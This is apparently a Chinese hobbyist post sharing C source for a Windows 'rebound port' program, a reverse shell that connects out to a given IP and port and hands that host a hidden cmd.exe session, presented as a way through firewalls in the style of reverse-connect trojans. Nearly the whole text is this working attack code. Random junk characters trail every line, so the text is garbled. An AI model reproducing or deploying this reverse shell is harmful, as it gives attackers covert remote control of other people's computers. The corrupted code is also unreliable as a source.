这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 IWBX'|}K
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/* ============================== MtM%{=&_
Rebound port in Windows NT y9_V
By wind,2006/7 ~aw.(A?MI
===============================*/ Dw|}9;5:A
#include uzXCIv@
#include OHv[#xGuV?
BK*x] zG$
#pragma comment(lib,"wsock32.lib") vrl;"Fm+
d[[]PX
void OutputShell(); cD@(/$wt
SOCKET sClient; .=U#eHBdAQ
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 6~OoFm5
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void main(int argc,char **argv) du+y5dw
{ k2E0/ @f{k
WSADATA stWsaData; zFfoqb#*g
int nRet; 5&xB6|k
SOCKADDR_IN stSaiClient,stSaiServer; =6xrfDbN8
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if(argc != 3) d[r#-h>dS
{ kTKq/G,Ft
printf("Useage:\n\rRebound DestIP DestPort\n"); 01[NX? qEa
return; :Y-{Kn6`_
} }p=Jm)y
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WSAStartup(MAKEWORD(2,2),&stWsaData); Wi>!{.}%A
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U2$d%8G
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stSaiClient.sin_family = AF_INET; ^*S ,xP
stSaiClient.sin_port = htons(0); wU8Mt#D!
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); QpZ:gM_
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~7Y+2FZ
{ V=)_yIS
printf("Bind Socket Failed!\n"); m[i+knYX
return; Kfm5i Q
} 8'n/?.7cX
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stSaiServer.sin_family = AF_INET; hZ[E7=NTQ^
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); -7m:91x
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !GOM5z,
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) c/Qt Ot
{ J~=n`pW
printf("Connect Error!"); >oea{u
return; )S`jFQ1
} _,q) hOI
OutputShell(); 2#o>Z4 r{
} A2^\q>_#
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void OutputShell() R=.4
{
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char szBuff[1024]; 33jovK2
SECURITY_ATTRIBUTES stSecurityAttributes; >Wh}f3C
OSVERSIONINFO stOsversionInfo; L93l0eEt
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1D16
STARTUPINFO stStartupInfo; ]e>RK'
char *szShell; Rfn9s(m
PROCESS_INFORMATION stProcessInformation; 0MV>"aV
unsigned long lBytesRead; #G|qD
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Z -,J)gW
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); HfcL%b%G8
stSecurityAttributes.lpSecurityDescriptor = 0; _C.BFE_p
stSecurityAttributes.bInheritHandle = TRUE; G,TM-l_uw
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); A3vUPWdDk
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); tcI}Ca>u
kR]!Vr*yh
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )=\#UE+W
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ktnuNsp
stStartupInfo.wShowWindow = SW_HIDE; XIvn_&d;G
stStartupInfo.hStdInput = hReadPipe; GGe,fb<k
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6}75iIKi
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GetVersionEx(&stOsversionInfo); 9V,!R{kO!
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switch(stOsversionInfo.dwPlatformId) =81@o,1w
{ R E}?5XHb
case 1: :
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szShell = "command.com"; 1?)Xp|O
break; bB
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default: 'sLiu8G
szShell = "cmd.exe"; "+\ lws
break; h tx;8:
} $|]" W=h
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,REJt
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send(sClient,szMsg,77,0); xO1[>W
while(1) {D!6%`HKV+
{ Op"M.]#
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); o8zy^zN$6
if(lBytesRead) \|]Z8t7
{ uMut=ja(U
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); DjI3?NN
send(sClient,szBuff,lBytesRead,0); klQC2drS
} )>b.;
else ak->ML
{ z ?[r
lBytesRead=recv(sClient,szBuff,1024,0); z>jUR,!GT
if(lBytesRead<=0) break; W ZazJ=27}
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "8~:[G#
} Glxuz0]
} =1O<E
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return; iv?gZg
}